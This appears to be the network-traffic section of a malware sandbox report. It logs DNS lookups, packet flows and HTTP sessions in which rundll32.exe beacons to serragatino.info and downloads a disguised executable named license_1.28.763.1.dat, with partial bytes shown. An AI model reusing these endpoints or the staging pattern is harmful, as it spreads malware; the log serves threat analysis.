Apr 23, 2024 08:39:59.271169901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271186113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271214008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271225929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271233082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271245003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271256924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271260977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271404028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271409035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271421909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271433115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271444082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271455050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271462917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271466970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271478891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271491051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271497011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271524906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271544933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271548986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271585941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271599054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271620035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271693945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271707058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271713972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271718025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271729946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271740913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271754026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271774054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271823883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271876097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271888971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271895885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271908998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271928072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271949053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272017002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272030115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272036076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272064924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272078991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272084951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272162914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272182941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272255898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272392988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272413969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272516966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272530079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272552967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272572041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272594929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272618055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272648096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272720098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272773027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272834063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272846937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272890091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272906065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.272938967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272952080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.272960901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273005009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273036957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273124933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273175955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273189068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273196936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273240089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273252964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273258924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273299932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273322105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273338079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273351908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273372889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273392916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273406029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273426056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273443937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273457050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273468018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273475885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273490906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273510933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273617983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273631096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273704052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273715973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273722887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273737907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273756981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273761988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273782015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273785114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273833990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273858070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273880959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273926973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273940086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273946047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.273968935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.273991108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274056911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274069071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274080992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274094105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274101973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274123907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274137020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274142981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274157047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274159908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274182081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274194956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274213076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274281979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274285078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274327993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274342060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274461985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274482012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274509907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274610996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274631977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274652004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274665117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274672031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274698973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274710894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274722099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274722099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274734974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274740934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274748087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274792910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274853945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274868011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274944067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274957895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.274965048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.274977922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275007963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275021076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275043011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275065899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275094032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275113106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275125980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275199890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275213003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275221109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275223970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275235891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275248051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275266886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275310993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275322914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275331020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275335073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275353909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275397062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275409937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275417089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275487900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275499105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275499105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275521994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275535107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275540113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275547981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275568008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275588036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275609970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275629044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275645971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275693893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275736094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275754929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.275774002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.275795937 CEST	49705	80	192.168.2.7	138.199.40.58

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 08:39:56.940599918 CEST	192.168.2.7	1.1.1.1	0x8b38	Standard query (0)	serragatino.info	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:39:57.687982082 CEST	192.168.2.7	1.1.1.1	0xe703	Standard query (0)	4o985rhikfsof.b-cdn.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:01.976093054 CEST	192.168.2.7	1.1.1.1	0xc1	Standard query (0)	embro.info	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:15.521370888 CEST	192.168.2.7	1.1.1.1	0xafc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:15.521496058 CEST	192.168.2.7	1.1.1.1	0x1de6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 23, 2024 08:40:18.302090883 CEST	192.168.2.7	1.1.1.1	0xd1eb	Standard query (0)	guayaco.info	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:18.302197933 CEST	192.168.2.7	1.1.1.1	0xb6de	Standard query (0)	guayaco.info	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 08:39:57.044959068 CEST	1.1.1.1	192.168.2.7	0x8b38	No error (0)	serragatino.info	104.21.24.192	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:39:57.044959068 CEST	1.1.1.1	192.168.2.7	0x8b38	No error (0)	serragatino.info	172.67.220.29	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:39:57.778727055 CEST	1.1.1.1	192.168.2.7	0xe703	No error (0)	4o985rhikfsof.b-cdn.net	138.199.40.58	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:02.064585924 CEST	1.1.1.1	192.168.2.7	0xc1	No error (0)	embro.info	172.67.207.72	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:02.064585924 CEST	1.1.1.1	192.168.2.7	0xc1	No error (0)	embro.info	104.21.45.11	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:15.609441996 CEST	1.1.1.1	192.168.2.7	0x1de6	No error (0)	www.google.com		65	IN (0x0001)	false
Apr 23, 2024 08:40:15.609677076 CEST	1.1.1.1	192.168.2.7	0xafc	No error (0)	www.google.com	142.250.176.196	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:18.405939102 CEST	1.1.1.1	192.168.2.7	0xd1eb	No error (0)	guayaco.info	104.21.69.207	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:18.405939102 CEST	1.1.1.1	192.168.2.7	0xd1eb	No error (0)	guayaco.info	172.67.213.24	A (IP address)	IN (0x0001)	false
Apr 23, 2024 08:40:18.425399065 CEST	1.1.1.1	192.168.2.7	0xb6de	No error (0)	guayaco.info		65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.21.24.192	80	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:57.139727116 CEST	147	OUT	GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854395&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:39:57.389444113 CEST	809	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138543977117322; expires=Wed, 23-Apr-2025 06:39:57 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NJE7bSSSZnUfGvCIE1SQ%2FifLB10hHQbmoNxtvTR3nZsrumaMUgUrlbvzgZ6AHat%2Fd8AaFRpONbPCid%2BU3fVlJZff%2BLKNDgvM7Ic8S4OJINKyhw9ldUoVBkX7oUAXhEpUMUPn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdbfe684443a3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	104.21.24.192	80	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:57.143184900 CEST	147	OUT	GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:39:57.398340940 CEST	805	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138543979398812; expires=Wed, 23-Apr-2025 06:39:57 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lhGE%2FHTCeteb2m6NlHnVD1RCkI%2BNwZOFYgk5jg6rvzhjdjTXSbD0AAKZZ5v0nLqH1wZWxUh4olMa64TqPtMpERhNX2WOLKScMNc7mFKQiMBx98Kz04exL2eBDJun8a4a3JUu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdbfe6f0a330c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	104.21.24.192	80	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:57.490341902 CEST	156	OUT	GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:39:57.743742943 CEST	811	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138543973702589; expires=Wed, 23-Apr-2025 06:39:57 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WoKA%2BrkOWHsff2jwoSB4g%2BL1q9ryZtL%2F2UB6aL%2FmBpN57JXAU4Bu4EYE4TOb8PrktB5Tmpogy3rE1MbOgpfPBjgFamKCzm0h14TOZLJ7GphegRa%2FZqOyusAM6atnRGzkkdhk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc009c516a4f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	104.21.24.192	80	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:57.502674103 CEST	156	OUT	GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:39:57.680057049 CEST	813	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138543979560243; expires=Wed, 23-Apr-2025 06:39:57 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JyayXVcXbmvj6oP9vQnl7u74oPUuO8%2FaKQvKrfsz9c7ltvE5mM0l3Noo%2BGoWNtogtNMXDZ0nupRt4yXW%2B6HtbiF982fdIcY3%2Fc3D6bNgPgWOY%2F4RhYGfZ08hWkrKvW9XpGB%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc00ae2d4262-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49704	138.199.40.58	80	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:57.872009993 CEST	71	OUT	GET /license_1.28.763.1.dat HTTP/1.1 Host: 4o985rhikfsof.b-cdn.net
Apr 23, 2024 08:39:57.960333109 CEST	642	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:39:57 GMT Content-Type: application/octet-stream Content-Length: 8483419 Connection: keep-alive Server: BunnyCDN-NY1-885 CDN-PullZone: 1516771 CDN-Uid: b3ddbaad-ad2d-45bc-825d-45b7b05a460f CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Mon, 22 Apr 2024 16:54:29 GMT CDN-StorageServer: NY-267 CDN-FileServer: 795 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 04/22/2024 17:59:36 CDN-EdgeStorageId: 885 CDN-Status: 200 CDN-RequestId: 97e770816ab43086c2b5830e5cc78cf1 CDN-Cache: HIT Accept-Ranges: bytes
Apr 23, 2024 08:39:57.960445881 CEST	1289	IN	Data Raw: 0f f0 d3 77 fd f8 ff 71 28 79 87 fc 63 e1 43 84 1b 31 dd 49 53 6a 30 36 46 38 53 56 c8 8f 69 44 f5 5a 90 00 03 00 00 00 44 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f Data Ascii: wq(ycC1ISj06F8SViDZD@!L!Thgl~rn@!/O:SBRANC%!=OOxdin DOS ^l]kPfPfn1ST#1[5.V`PfRichPfPEL~
Apr 23, 2024 08:39:57.960484982 CEST	1289	IN	Data Raw: ff 00 8a 97 81 8b 7c 31 8d fb 4f 49 17 1a d8 f7 bf ff 7a 43 f7 1d eb 00 30 74 0b 38 95 14 03 47 05 e4 95 c0 89 45 d3 31 bd 83 7d 0c 6a fe 42 97 c5 a4 10 ff 76 58 90 ba fd 50 80 40 00 00 60 44 0b 75 4c 7f 36 58 00 00 c3 d1 c5 4c 8d ba 91 7c ab 3d Data Ascii: \|1OIzC0t8GE1}jBvXP@`DuL6XL\|=Lj6DH%f66,i&}B{TuKMmu1#hO^LrS*\|MKI'&_i3mbA&Di3q-Gj0DGsvTWfGb}AF
Apr 23, 2024 08:39:57.960572004 CEST	1289	IN	Data Raw: b2 4a ff 75 8d 28 52 48 ff 75 33 2b c7 56 3d b7 eb 08 ff 00 05 17 53 4a ff 15 af 43 34 17 95 a7 75 03 ff 30 f1 99 fc 36 b9 53 f2 bb bb 75 0e 29 28 df 8b 68 96 80 61 d8 bb b9 99 c4 8e 7d ce 39 5d 98 74 c5 52 aa e8 e6 02 8a f7 00 60 98 e8 40 00 c1 Data Ascii: Ju(RHu3+V=SJC4u06Su)(ha}9]tR`@(M@5^oS\DO%2SP%/cMj@jK\V,UaOPt<RdWVkFOja)vS2C}d<PW;aVth$sE; s5
Apr 23, 2024 08:39:57.960686922 CEST	1289	IN	Data Raw: f4 10 3c 3d 24 e3 76 fa 22 09 c0 f4 e0 39 d0 f7 4f 0f 46 c7 aa e3 16 f2 20 46 32 70 b3 61 cc 32 ff 3e d8 d1 72 22 e2 7e 37 75 09 8b c7 72 fa 2a 6c 21 e9 cb cc 42 08 ae ff 8a 4d 08 51 02 2d 29 18 14 68 d2 17 68 df eb 03 e1 4f 83 a9 01 98 ea ff ff Data Ascii: <=$v"9OF F2pa2>r"~7ur*l!BMQ-)hhO:VjE;XVV@G;=F;4FWf5lZWDSeDP'Fu@VF9e;D\Gi4c;GE~iFW@Utu
